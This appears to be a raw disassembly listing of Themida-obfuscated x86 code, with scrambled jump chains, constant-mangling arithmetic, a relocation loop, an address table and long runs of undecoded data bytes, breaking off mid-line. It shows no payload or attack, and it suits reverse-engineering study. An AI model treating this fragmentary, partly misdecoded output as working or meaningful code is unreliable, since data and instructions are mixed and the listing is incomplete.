esi, 120916A7h sub esi, 367328C9h shl esi, 3 xor esi, 0C253DCB7h add esi, 3714B891h xor ebx, esi jmp loc_55087A ; --------------------------------------------------------------------------- loc_55230F: ; CODE XREF: Themida_:00551FBAj mov ebx, [esp] jmp loc_54DCDA ; --------------------------------------------------------------------------- db 54h dd 0FF5CA1E9h, 0E95E54FFh, 0FFFF6887h, 70FEF381h, 0F381463Ch dd 1E8E7A5Ah, 464E4E05h, 958DE978h, 0BF57FFFFh, 71246475h dd 0DB9B8FBDh, 5FFD018Eh, 0FF9478E9h db 0FFh ; --------------------------------------------------------------------------- loc_55234D: ; CODE XREF: Themida_:0054FD0Ej pop esi mov edx, ecx pop ecx and ecx, edx mov edx, [esp] jmp loc_546D0E ; --------------------------------------------------------------------------- db 0C0h dd 0E18008E9h, 0C0C1FE42h, 3EE903E1h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55236B: ; CODE XREF: Themida_:0054C902j xor edi, [esp] mov esp, [esp] mov [esp], edx push 3F6057ACh jmp loc_54EBA0 ; --------------------------------------------------------------------------- dw 7804h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54704D ; --------------------------------------------------------------------------- dw 0EFC1h dd 3E7C102h, 51C2EF81h, 0DFF75F30h, 2ECDEF81h, 0F989339Fh dd 0C5EEE95Fh, 7721FFFFh, 2434FF1Ch, 0FFC115E9h, 48F5FFFh dd 0F4E95C24h, 8BFFFFD4h, 2AE9241Ch, 5000001h, 4, 663B68h dd 24348900h, 4BEh, 5EF00100h, 8B240487h, 23E92424h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5523E7: ; CODE XREF: Themida_:0054C869j add ebx, ecx pop ecx jmp loc_54ED62 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF3E16h, 0E200BDB4h, 0E9585866h, 245h, 0C9EE815Eh dd 1003B34h, 0E321E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55240E: ; CODE XREF: Themida_:0054B099j push ebx mov ebx, 66C364ABh sub ebx, 3D554314h neg ebx jmp loc_5466F9 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0DAh dd 81606D7Eh, 70F54EDh, 2C875826h, 83535C24h, 0EBE904ECh dd 29FFFFEFh, 9EF81DFh, 5B12DF7Eh, 1C07BD55h, 0E8017288h dd 81242C8Bh, 4C4h, 29712D00h, 0F8014BF1h, 0F1297105h dd 0A15BE94Bh, 0D0F7FFFFh, 3505E8C1h, 17E643D3h, 0FF71CBE9h dd 4C481FFh, 5E000000h, 34FFD021h, 24148B24h, 0FF60B4E9h dd 240483FFh, 8E0BE904h, 3568FFFFh, 89000061h, 4812424h dd 424h, 2434FF00h, 0FFD1ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_5524A9: ; CODE XREF: Themida_:005468B1j pop ecx pop dword ptr [esp] pop esp mov [esp], edx push eax pushf jmp loc_54620A ; --------------------------------------------------------------------------- dd 5E545658h, 4B850h, 0C6010000h, 8324048Bh, 0A4E904C4h dd 0F7FFFF71h, 0A1F781DFh, 218F86DBh, 3F7AE9F9h, 0C681FFFFh dd 21B159BEh, 0BA52CE01h, 410D6764h, 0FFEA29E9h, 0E68956FFh dd 4C681h, 0C6830000h, 74FF5604h, 0E95E0424h, 0FFFF5A22h dd 57D831ADh, 8C2321BFh, 47DFF714h, 0FF82A8E9h, 0B4E95BFFh dd 64FFFF5Fh, 0E2E932FFh, 89FFFF91h, 0EF682434h, 0E900007Bh dd 0FFFF7F4Ch, 592434FFh, 3BD68h, 243C8900h, 0FFE33BE9h db 0FFh ; --------------------------------------------------------------------------- loc_552545: ; CODE XREF: Themida_:0054DAD9j mov eax, 68F508B8h push 484Fh jmp loc_54F526 ; --------------------------------------------------------------------------- dd 7463E681h, 0EE815152h, 3DC9537Ch, 435EF389h, 0FF3F32E9h dd 30160DFFh, 0A90D3F07h, 52CC87Ch, 0AE2DC1Dh, 0FF4173E9h dd 0E9E089FFh, 0FFFF60E5h ; --------------------------------------------------------------------------- loc_552584: ; CODE XREF: Themida_:0054ECBBj mov ebp, ebx pop ebx jmp loc_54BBB3 ; --------------------------------------------------------------------------- loc_55258C: ; CODE XREF: Themida_:0054AEFDj mov ebx, [esp] jmp loc_54C1C6 ; --------------------------------------------------------------------------- dd 47E9F729h, 88FFFF6Ah, 885B66FCh, 0FE5866E6h, 52F680C6h dd 685AF000h, 6576h, 0B0240489h, 52710CBDh, 0B450B3B2h dd 5DEC802Dh, 8004ECC0h, 0E22821ECh, 5AD00058h, 53512304h dd 0DD88FEB3h, 0FF68B1E9h, 22C468FFh, 44E90000h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5525E3: ; CODE XREF: Themida_:00548E99j add esp, 4 add esp, 4 or eax, eax jz loc_54A175 push dword ptr [edi+1Ch] jmp loc_550E00 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFF3FE2h ; --------------------------------------------------------------------------- loc_552604: ; CODE XREF: Themida_:005509ADj push dword ptr [esp+4] jmp loc_54E988 ; --------------------------------------------------------------------------- loc_55260D: ; CODE XREF: Themida_:0054B119j xor ebp, 2529A3FCh xor esi, ebp pop ebp jmp loc_54770B ; --------------------------------------------------------------------------- db 55h dd 0FFC8C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_552621: ; CODE XREF: Themida_:0054A35Ej mov esi, 3A15661Fh sub [esp+4], esi jmp loc_54F89B ; --------------------------------------------------------------------------- db 49h dd 0FFCAC7E9h, 2474FFFFh, 48F5804h, 24248B24h, 0FF4F9BE9h dd 30CA30FFh, 0E9CA30D1h, 0FFFFE380h ; --------------------------------------------------------------------------- loc_552650: ; CODE XREF: Themida_:0054DFF8j mov ah, bl jmp loc_5465DC ; --------------------------------------------------------------------------- loc_552657: ; CODE XREF: Themida_:0054F5EDj push eax jmp loc_546423 ; --------------------------------------------------------------------------- db 31h, 0CAh, 59h dd 0DBB5352h, 292C490Eh, 8B04245Ch, 0C483241Ch, 20478F04h dd 0FF4D30E9h, 0F7E987FFh, 0E9E987DDh, 0FFFF7226h, 0BD55E289h dd 4, 815DEA01h, 4EAh, 24148700h, 2434895Ch, 4EC81h, 0F9E90000h dd 66FFFFBDh, 66C140BFh, 5F66FA31h, 0FF6208E9h, 0E9028FFFh dd 0FFFF3B4Eh ; --------------------------------------------------------------------------- loc_5526BC: ; CODE XREF: Themida_:005505CFj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_54629F ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0F7243C87h, 243C87D7h, 43E4E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5526DE: ; CODE XREF: Themida_:0054C03Fj and ecx, 38B13AA1h xor ecx, 7CFE536Fh add ecx, 538E23B3h xor ecx, 0A08D7D26h jmp loc_551488 ; --------------------------------------------------------------------------- db 0FFh dd 835A2434h, 0B95104C4h, 4, 5359CA01h, 6A1BF57h, 61BB2F36h dd 1D0C9F9h, 0DA295FFBh, 2414335Bh, 33241431h, 47E92414h dd 5BFFFFBCh, 4BA52h, 15E90000h, 68FFFF50h, 1, 0FFF291E9h dd 242C87FFh db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_54A15D ; --------------------------------------------------------------------------- loc_552759: ; CODE XREF: Themida_:00549BC7j add esp, 4 add al, dl mov dx, [esp] push ecx jmp loc_551EB7 ; --------------------------------------------------------------------------- loc_55276B: ; CODE XREF: Themida_:0054A443j mov ebx, 5F43589Ch or edx, ebx pop ebx xor edx, 15A71403h inc edx xor edx, 457941A8h sub edx, 0F9653F22h add esi, edx pop edx dec esi push esi jmp loc_546597 ; --------------------------------------------------------------------------- dd 83240C8Bh, 0A2C04C4h, 0A04C828h, 2C59202Ch, 91E6E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5527A6: ; CODE XREF: Themida_:0054E111j mov ecx, esp add ecx, 4 jmp loc_54D013 ; --------------------------------------------------------------------------- db 87h dd 535C241Ch, 0E7803CB7h, 1C780FDh, 0B450DFF6h, 0B753528Ah dd 30BFB6B8h, 0C7E95BFEh, 51FFFF96h, 5266E0B5h, 0F530A8B6h dd 0F5805A66h, 2EC83B0h, 241C8966h, 0FD30B2B7h, 1DE95B66h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5527F3: ; CODE XREF: Themida_:00547260j pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_54D450 ; --------------------------------------------------------------------------- dw 0FF56h dd 5E042474h, 0FFEE8EE9h, 814A5EFFh, 225F9FE2h, 44E95070h dd 5AFFFFD3h, 0FE5BF930h, 2DE180C9h, 0B871E953h, 0E681FFFFh dd 67154871h, 1F63E681h, 0E6C13444h, 94DFE903h, 21BAFFFFh dd 296A4430h, 0EB815AD3h, 192C2807h, 41E9C329h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552853: ; CODE XREF: Themida_:00546B5Ej push edx mov eax, [esp] add esp, 4 jmp loc_54ED8B ; --------------------------------------------------------------------------- loc_55285F: ; CODE XREF: Themida_:00547162j mov esi, 0BCDFCFB7h sub ebp, 3B82053h add ebp, esi add ebp, 3B82053h mov esi, [esp] add esp, 4 and eax, ebp pop ebp or eax, eax jz loc_550C9B push dword ptr [edi+1Ch] push edi mov edi, 17A9071Fh not edi shr edi, 3 push ebx mov ebx, 5A607B03h inc ebx sub ebx, 0FFFFFFFFh sub ebx, 281026A9h xor edi, ebx pop ebx jmp loc_54CCDF ; --------------------------------------------------------------------------- dd 24248B66h, 0FF3955E9h db 0FFh ; --------------------------------------------------------------------------- loc_5528B5: ; CODE XREF: Themida_:0054B62Fj mov ah, 91h add bl, ah jmp loc_547F4D ; --------------------------------------------------------------------------- dw 585Ch dd 0E924148Bh, 0FFFFB1DAh, 941E84BAh, 0E9D62977h, 0FFFF518Eh ; --------------------------------------------------------------------------- loc_5528D4: ; CODE XREF: Themida_:00548CFDj mov edx, 800000h jmp loc_546984 ; --------------------------------------------------------------------------- dw 815Eh dd 0AE7413EAh, 67D1E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5528EA: ; CODE XREF: Themida_:00550A61j sub ecx, 63526FEBh jmp loc_547245 ; --------------------------------------------------------------------------- db 51h, 0E9h, 0C4h dd 2DFFFF39h, 4, 0E9240487h, 0FFFF6C1Bh ; --------------------------------------------------------------------------- loc_552908: ; CODE XREF: Themida_:005497C7j dec ebx neg ebx inc ebx jmp loc_54D965 ; --------------------------------------------------------------------------- dd offset dword_5AABC4 db 0B0h, 0FFh, 5Fh dd 4FB3A501h, 6AE1CD77h, 0FFA774FAh, 5A5E9AFFh, 0D408EB00h dd 21788h, 200h, 100h, 0 dd 6AE1CD00h, 0FAh, 4 dup(0) dd 55DF6D00h, 55B16E00h, 554B5F00h, 557F6200h, 5550C800h dd 56454D00h, 563D8F00h, 556DB300h, 565CD500h, 55C30C00h dd 566D3700h, 5585F300h, 56448400h, 55DFD700h, 55ACDE00h dd 55B73700h, 566E7A00h, 55997000h, 55E7A700h, 56552C00h dd 56480D00h, 5606A100h, 558F5800h, 56510A00h, 55CBC800h dd 56263700h, 55593D00h, 5602FF00h, 562C1D00h, 55ACFC00h dd 566D9C00h, 55CE2800h, 56154600h, 561C3600h, 563C1300h dd 56022000h, 565D4900h, 55FD9000h, 555DBD00h, 559F7500h dd 55A53B00h, 560F1900h, 564A9800h, 55EF6900h, 5621AF00h dd 55EEB800h, 55507E00h, 5554FD00h, 55379000h, 55D5BE00h dd 567ED500h, 55D30000h, 562C6200h, 5660ED00h, 56601600h dd 56443800h, 56341F00h, 56502A00h, 56523400h, 553D7400h dd 55C5AA00h, 566BAA00h, 5568C900h, 565A5700h, 55469B00h dd 55F6C300h, 5677DF00h, 55418700h, 56461C00h, 55C73C00h dd 564F3500h, 55E13A00h, 56114200h, 55DB4200h, 5590A000h dd 55F91A00h, 564E5900h, 55A11D00h, 561B6A00h, 563DA700h dd 559B9300h, 565A2700h, 55EAFA00h, 5664EA00h, 564FAB00h dd 5593F300h, 55EC1B00h, 561AA900h, 56052C00h, 55424600h dd 55D0D200h, 55410300h, 55578500h, 55B25E00h, 55A4CD00h dd 55AC2000h, 561F8600h, 56142D00h, 55879200h, 55523600h dd 552FB200h, 559BBC00h, 55E37C00h, 56503E00h, 55414500h dd 55F2F500h, 55AAD900h, 55DC3800h, 5659F400h, 55707A00h dd 55496600h, 5567CD00h, 55C9F700h, 55C65000h, 56497600h dd 555AAB00h, 561A1D00h, 55A56800h, 55591700h, 55AD8F00h dd 557A2800h, 5680B000h, 5597FA00h, 5659D700h, 55C61F00h dd 56262700h, 56212300h, 559F5800h, 55441200h, 55C69000h dd 5561D900h, 55FA6C00h, 5530C800h, 562C9B00h, 558E1400h dd 55A25900h, 56223F00h, 56240E00h, 562D7B00h, 55444600h dd 566F0300h, 553CB900h, 55EADC00h, 563A4800h, 55E7D200h dd 557C4400h, 56801600h, 5547BE00h, 564E1100h, 557F8700h dd 562A8600h, 559FD500h, 564D9600h, 563A9700h, 55975500h dd 55D6FC00h, 56596B00h, 566A4E00h, 55620800h, 55CE1800h dd 55388E00h, 5532C800h, 5647FC00h, 55F68900h, 55CA9B00h dd 55D0B200h, 566A7A00h db 0 ; --------------------------------------------------------------------------- loc_552BF1: ; CODE XREF: Themida_:00593F7Fj pusha pushf cld call $+5 pop edi sub edi, 5EA4A2Ch mov eax, edi add edi, 5EA4744h cmp eax, [edi+2Ch] jnz short loc_552C0F jmp short loc_552C22 ; --------------------------------------------------------------------------- loc_552C0F: ; CODE XREF: Themida_:00552C0Bj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_552C1E ; --------------------------------------------------------------------------- loc_552C19: ; CODE XREF: Themida_:00552C20j add [edi+ecx*4+40h], eax dec ecx loc_552C1E: ; CODE XREF: Themida_:00552C17j or ecx, ecx jnz short loc_552C19 loc_552C22: ; CODE XREF: Themida_:00552C0Dj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_552C2F: ; CODE XREF: Themida_:00552C36j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_552C2F loc_552C38: ; CODE XREF: Themida_:loc_552D1Dj ; Themida_:0055529Aj ... lodsb sub esp, 4 mov [esp], ebx mov bl, 0CBh not bl and bl, 0DEh jmp loc_555E50 ; --------------------------------------------------------------------------- loc_552C4E: ; CODE XREF: Themida_:0056594Dj add ebp, 5649076Eh sub ebp, 121E6501h jmp loc_5580AD ; --------------------------------------------------------------------------- loc_552C5F: ; CODE XREF: Themida_:005578D7j mov [esp], edx sub esp, 4 push esp jmp loc_5601C6 ; --------------------------------------------------------------------------- loc_552C6B: ; CODE XREF: Themida_:00560CCBj not bh sub bh, 0 sub al, bh jmp loc_55B363 ; --------------------------------------------------------------------------- db 5 dd 4, 4CC968h, 242C8900h, 3DAE9h, 0B1516600h, 0E9C8286Eh dd 8176h ; --------------------------------------------------------------------------- loc_552C94: ; CODE XREF: Themida_:00561804j mov esi, 210068BDh push 794Eh jmp loc_55D74D ; --------------------------------------------------------------------------- db 0B2h dd 284BB7C7h, 0FA285AD7h, 0E9D7885Bh, 66B3h, 0E95BF828h dd 12FA2h, 6624248Bh, 66240C89h, 66C8B60Fh, 69E99C51h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_552CCF: ; CODE XREF: Themida_:005554D0j mov [esp], esi push 0FEh push dword ptr [esp] push dword ptr [esp] mov esi, [esp] sub esp, 4 mov [esp], eax jmp loc_561071 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 4EC81h, 4890000h, 0B246E924h, 8F540000h dd 50512404h, 4DE1E9h, 48F5E00h, 24248B24h, 9C243CD3h dd 0A390E9h db 0 ; --------------------------------------------------------------------------- loc_552D1D: ; CODE XREF: Themida_:00565CBEj jmp loc_552C38 ; --------------------------------------------------------------------------- dw 5052h dd 67F4B866h, 9EC1E9h db 0 ; --------------------------------------------------------------------------- loc_552D2D: ; CODE XREF: Themida_:0055A9FDj mov [esp], edi mov edi, 35C8471Eh push ecx mov ecx, 75B335E8h xor edi, ecx pop ecx jmp loc_56299D ; --------------------------------------------------------------------------- db 68h dd 4, 0E9C10158h, 731Fh, 0F0BF575Bh, 0E96D800Bh, 5DB4h dd 0EC80F428h, 0E9515A4Bh, 2273h ; --------------------------------------------------------------------------- loc_552D68: ; CODE XREF: Themida_:0055A837j push ebp not dword ptr [esp] pop ebp jmp loc_565E01 ; --------------------------------------------------------------------------- dw 0C89h dd 0D287B924h, 0CF01314Bh, 8BFB3159h, 0C481243Ch, 4, 2A1BE56h dd 0EEC112CEh, 9BC68104h, 811B2D64h, 4ECh, 243C8900h, 0B24861BFh dd 16BE5632h, 2926B1CBh, 8E95EF7h, 0BB0000DDh, 4, 875BDF01h dd 0FF5C243Ch, 48B2434h, 4C48124h, 68000000h, 21CCh, 89241C89h dd 4C381E3h, 50000000h, 0FF7BE1B8h, 0EE07E97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_552DE6: ; CODE XREF: Themida_:00562409j pop ebp pop dword ptr [esp] mov esp, [esp] push 4D4Ah mov [esp], ebx jmp loc_55BEA1 ; --------------------------------------------------------------------------- loc_552DFA: ; CODE XREF: Themida_:00559F87j push dword ptr [esp] mov edx, [esp] push esi jmp loc_553041 ; --------------------------------------------------------------------------- dw 0E901h dd 0CE45E9h, 750A6800h, 4890000h, 4DE66824h, 5E90000h db 0Bh, 1, 0 ; --------------------------------------------------------------------------- loc_552E1F: ; CODE XREF: Themida_:00556D30j pop ecx push ebx mov ebx, 7A126B83h sub ebx, 51243DD7h sub edi, ebx pop ebx sub edi, esi push esi mov esi, 28EE2DACh jmp loc_5633F6 ; --------------------------------------------------------------------------- loc_552E3C: ; CODE XREF: Themida_:00561C81j pop ebx jmp loc_56186F ; --------------------------------------------------------------------------- dw 8141h dd 0E91B8EE1h, 0E9D9F76Fh, 47B3h ; --------------------------------------------------------------------------- loc_552E50: ; CODE XREF: Themida_:00554BB7j add esp, 4 loc_552E56: ; CODE XREF: Themida_:00563725j push eax sub esp, 4 mov [esp], esp jmp loc_5534B9 ; --------------------------------------------------------------------------- dw 0CF01h dd 0E9240C8Bh, 788h ; --------------------------------------------------------------------------- loc_552E6C: ; CODE XREF: Themida_:005668EDj and al, 0A5h jmp loc_5627B4 ; --------------------------------------------------------------------------- aRus db 'RUé;',0Bh,0 align 2 a1Zsk db '1ÑZékÁ',0 align 2 dw 0EC83h dd 240C8904h, 5960BF57h, 0F9890585h, 53C1815Fh, 8152951Dh dd 62BF9E1h, 0EAC98104h, 816A7A00h, 490396E9h, 2E9C138h dd 2BD4B850h, 0C131430Fh, 0E924048Bh, 0B78Ch, 8904EC83h dd 2C812404h, 185F8B24h, 242C8B3Fh, 8104C483h, 185F8BC5h dd 4A0EE93Fh, 5B5F0000h, 4F32E9h db 0 ; --------------------------------------------------------------------------- loc_552EE1: ; CODE XREF: Themida_:005665D3j and ecx, edx jmp loc_558DE6 ; --------------------------------------------------------------------------- dd 0FFFD4BE9h, 0E9D889FFh, 0E66h, 0F8E9575Ch, 5900001Bh dd 2B9768h, 24048900h, 8904EC83h, 0E389241Ch, 42E7E9h db 0 ; --------------------------------------------------------------------------- loc_552F11: ; CODE XREF: Themida_:005598EFj xor ebp, [esp] pop esp and eax, ebx mov ebx, [esp] jmp loc_556726 ; --------------------------------------------------------------------------- loc_552F1F: ; CODE XREF: Themida_:00553AEDj mov eax, esp push edx mov edx, 25A1698Bh sub edx, 0E8192Eh shr edx, 1 or edx, 2FC16E07h neg edx neg edx add edx, 0C02211D5h add eax, edx pop edx sub eax, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, 4 add esi, 2F715DCCh add esi, edi sub esi, 2F715DCCh pop edi xchg esi, [esp] pop esp movzx eax, al jmp loc_560C65 ; --------------------------------------------------------------------------- dd 5259CF01h, 571D14BAh, 7BC28134h, 1C2DD7Ch, 0B054E9D7h dd 1C8B0000h, 4C48124h, 0C1000000h, 0EBC108EBh, 35F2E906h dd 0D8F60000h, 0D0F60034h, 7B1E951h, 8B660000h, 74E92404h dd 59000145h, 0C103E2C1h, 0EAC105E2h, 6F28107h, 0E97FBC65h dd 14CBh, 5B5FFD89h, 34FFEB21h, 2B10E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552FDE: ; CODE XREF: Themida_:00558A4Bj add esp, 4 pop esi jmp loc_555FAE ; --------------------------------------------------------------------------- db 0BBh dd 0B4A63CBh, 0FF5BD801h, 1DE92434h, 8B000084h, 0C4812404h dd 4, 1AF1BE56h, 0D9E9332Ch db 0F8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55300B: ; CODE XREF: Themida_:00567E0Dj mov esi, ebp mov ebp, [esp] add esp, 4 push edx jmp loc_55907D ; --------------------------------------------------------------------------- loc_55301C: ; CODE XREF: Themida_:0055A636j add [esp+4], eax jmp loc_561D1F ; --------------------------------------------------------------------------- aUsp db 'UéP-',0 dw 2800h dd 4EC81C3h, 89000000h, 0B4502414h, 58E28849h, 6F2AE9h db 0 ; --------------------------------------------------------------------------- loc_553041: ; CODE XREF: Themida_:00552E01j push esp pop esi push ecx mov ecx, 4 add esi, ecx pop ecx push ebx jmp loc_562AC0 ; --------------------------------------------------------------------------- dw 84BAh dd 424B4338h, 1485EA81h, 4E9F4A5h, 830000BDh, 0C8904ECh dd 0C186824h, 495909DAh, 1399FE9h, 14E95600h, 81000011h dd 9376DCF1h, 59CA299Eh, 55AD089h, 7D4F745Dh, 48BC201h dd 4C48124h, 0E9000000h, 3404h, 37B4FFB9h, 59CD3140h, 575DE829h dd 0C781E789h, 4, 6B76856h, 0C15E6759h, 0B95108EEh, 0FF98A6FEh dd 0E959CE01h, 1E99h, 9D1C77FFh, 1CD35966h, 61E99C24h dd 54FFFFFBh, 2A7DE95Fh, 3C870001h, 53515C24h, 0C645E7BBh dd 1DC38109h, 89F639BAh, 0CE015BD9h, 0C74DE9h, 2434FF00h dd 0E789575Eh, 4C781h, 0C7810000h, 4, 0FFFFCDE9h, 4C181FFh dd 52000000h, 2074E9h, 2406BB00h, 0DBF764EDh, 9026EB81h dd 0D801544Eh, 83241C8Bh, 52E904C4h, 29000099h, 243C8BFBh dd 1009FE9h, 62E95A00h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553147: ; CODE XREF: Themida_:0055F8F7j push 7BDA78CAh jmp loc_557EFE ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 50000000h, 405E089h, 2D000000h, 4, 12287E9h, 81D10100h dd 637C70E9h, 30D5E914h, 248B0000h, 241C8924h, 42474FFh dd 24048F5Bh, 0E924248Bh, 60E5h, 0D486CCFEh, 0D486CAFEh dd 5379EC80h, 88E68852h, 0DE885AF3h, 88DFE95Bh, 0C3300000h dd 0E9C0B60Fh, 51CDh ; --------------------------------------------------------------------------- loc_5531B0: ; CODE XREF: Themida_:0055A5D9j mov esi, edx mov edx, [esp] add esp, 4 push esi push esi mov esi, 1A976DBBh xchg edi, esi not edi jmp loc_5648D2 ; --------------------------------------------------------------------------- loc_5531C8: ; CODE XREF: Themida_:005624F2j mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5572DE ; --------------------------------------------------------------------------- dw 5455h dd 3068565Dh, 0E92E1123h, 11369h, 5134E981h, 0CE299760h dd 814CE959h, 295C0000h, 241C8BD9h, 0C104C483h, 0C18106E1h dd 0D17692B9h, 0CCE9C829h, 8300003Bh, 5E902C2h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55321B: ; CODE XREF: Themida_:00559D38j or ebx, 11EE25C5h jmp loc_55B07B ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 4EC81h, 14890000h, 410E6824h, 0D1E90000h dd 0FF0000A7h, 58042474h, 5A87E9h, 0DAF48000h, 3C4E9h dd 24048900h, 2311E9h, 83E18900h, 48904ECh, 951CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553266: ; CODE XREF: Themida_:0055C901j pop eax add esp, 4 jmp loc_5647B7 ; --------------------------------------------------------------------------- loc_553272: ; CODE XREF: Themida_:0055DCEAj mov [esp], esi xchg edx, [esp] push edx jmp loc_55AA14 ; --------------------------------------------------------------------------- dw 0B850h dd 1ACC72CAh, 75940D48h, 0E92D1811h, 81EEE75Dh, 9C1049EBh dd 81C3293Bh, 9C1049C3h, 0C381583Bh, 1AA535B6h, 1868E950h dd 0EB800000h, 5BD88836h, 0E2C4D24h, 2234D524h, 5358C588h dd 3876E9h db 0 ; --------------------------------------------------------------------------- loc_5532C1: ; CODE XREF: Themida_:0055A510j push ecx push eax jmp loc_5540C6 ; --------------------------------------------------------------------------- dd 240C8B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_560CD8 ; --------------------------------------------------------------------------- loc_5532D4: ; CODE XREF: Themida_:00553C4Aj inc edi jmp loc_5595BE ; --------------------------------------------------------------------------- dw 0CF20h dd 81240C8Bh, 4C4h, 80E7D000h, 0CAE998C7h, 310000C7h, 0E0C15BD8h dd 4EC8306h, 0E9243C89h, 0DE03h, 15DEE29h, 0E3C681EEh dd 5D0D090Ah, 4DE9F229h, 56000016h, 2F0E12BEh, 9DCE8131h dd 8132114Eh, 0C0B165C6h, 5EF789CCh, 8B1FF52Dh, 611C0540h dd 0F8014D7Bh, 611CBA52h, 51E94D7Bh, 8100010Ch, 4C4h, 8BC28900h dd 89512404h, 4C181E1h, 83000000h, 0C8704C1h, 67DEE924h dd 0EE830000h, 24348704h, 11E8FE9h, 0E9586600h, 0AF93h ; --------------------------------------------------------------------------- loc_553370: ; CODE XREF: Themida_:00555CD9j mov eax, [esp] add esp, 4 jmp loc_55C6C1 ; --------------------------------------------------------------------------- db 50h dd 11A5DE9h, 0E0EBBF00h, 0FB29E041h, 4B36E95Fh, 0E9810000h dd 0B5B5400h, 81242C8Bh, 4C4h, 0B904E900h, 0C3810000h dd 75766584h, 5ADEE9h, 16E95200h, 5A0000F1h, 0E991C780h dd 2086h, 0D725FEB9h, 5FF9315Ch, 28BAC781h, 0C5E908EFh dd 0E9000082h, 0FFFFF864h ; --------------------------------------------------------------------------- loc_5533D4: ; CODE XREF: Themida_:00563533j pop eax jmp loc_56409E ; --------------------------------------------------------------------------- loc_5533DA: ; CODE XREF: Themida_:00557303j shl eax, 3 xchg eax, ebp not ebp jmp loc_559D1C ; --------------------------------------------------------------------------- loc_5533E5: ; CODE XREF: Themida_:00563FC8j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, esp push edx mov edx, 4 sub ebp, 2680F16h add ebp, edx push edx mov edx, 2680F16h add ebp, edx pop edx pop edx add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 jmp loc_55B85B ; --------------------------------------------------------------------------- db 89h dd 0DAE9240Ch, 0BA0000C5h, 17741790h, 8104E2C1h, 0F42B5E2h dd 0FA1DE925h, 0C4830000h, 0F1E95104h, 8700005Dh, 80E9242Ch dd 810000D9h, 4C4h, 4C58100h, 52000000h, 0C281E289h, 4 dd 14593E9h, 8DE98100h, 811C725Ch, 71E1B7F1h, 59C801F8h dd 9EBA5256h, 0BE2DAD2Ah, 2DAD2AA0h, 8E39E9h, 80C30000h dd 0C38003EBh, 22EB809Ch, 61B652h, 42F5E9F3h, 34FF0001h dd 24048B24h, 4C481h, 0C4810000h, 4, 135EE9h db 0 ; --------------------------------------------------------------------------- loc_5534B9: ; CODE XREF: Themida_:00552E5Dj add dword ptr [esp], 4 jmp loc_5659E3 ; --------------------------------------------------------------------------- dw 0CB89h dd 83240C8Bh, 34FF04C4h, 0E9505824h, 0B3E0h ; --------------------------------------------------------------------------- loc_5534D4: ; CODE XREF: Themida_:0055B5AFj push edx mov edx, 4D6956B8h push eax mov eax, 7DF048DCh and edx, eax pop eax and edx, 0DBB5888h xor edx, 0AB437E8h not edx add edx, 1B3939A1h jmp loc_5558FD ; --------------------------------------------------------------------------- dd 68241489h, 145570C5h, 7155E9h db 0 ; --------------------------------------------------------------------------- loc_553509: ; CODE XREF: Themida_:0055A234j sub esi, edi add esi, 5A5B0810h jmp loc_559F4F ; --------------------------------------------------------------------------- loc_553516: ; CODE XREF: Themida_:005566A8j sub ebp, edi add ebp, 1E6B5A51h add ebp, 50611D7h pop edi mov edx, ebp jmp loc_5557AD ; --------------------------------------------------------------------------- dd 5066C2B3h, 0C32006B0h, 24048B66h, 8002C483h, 0E950AEC3h dd 0B7D9h, 0BB28BB53h, 0D829B2EDh, 5DE9535Bh, 52000110h dd 1A22E953h db 1, 0 ; --------------------------------------------------------------------------- loc_55355A: ; CODE XREF: Themida_:005654B1j push dword ptr [esp+4] mov ebp, [esp] jmp loc_5590A8 ; --------------------------------------------------------------------------- dw 0FE29h dd 1B80E9h, 0D9354000h, 89D35A5Fh, 0D1F758C1h, 0A164E941h dd 0E9500000h, 10D72h, 4C281h, 0C2810000h, 4, 0B35EE9h dd 24048F00h, 241C895Ch, 2BBh, 0B3C28100h, 14DF641h, 0B3EA81DAh dd 8B4DF641h, 0C483241Ch, 24143304h, 33241431h, 248B2414h dd 2CD36624h, 0EFE99C24h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5535CB: ; CODE XREF: Themida_:0055C20Ej shl edi, 1 sub edi, 0A81DED3Dh jmp loc_55B41C ; --------------------------------------------------------------------------- dd 8324048Bh, 0EA2904C4h, 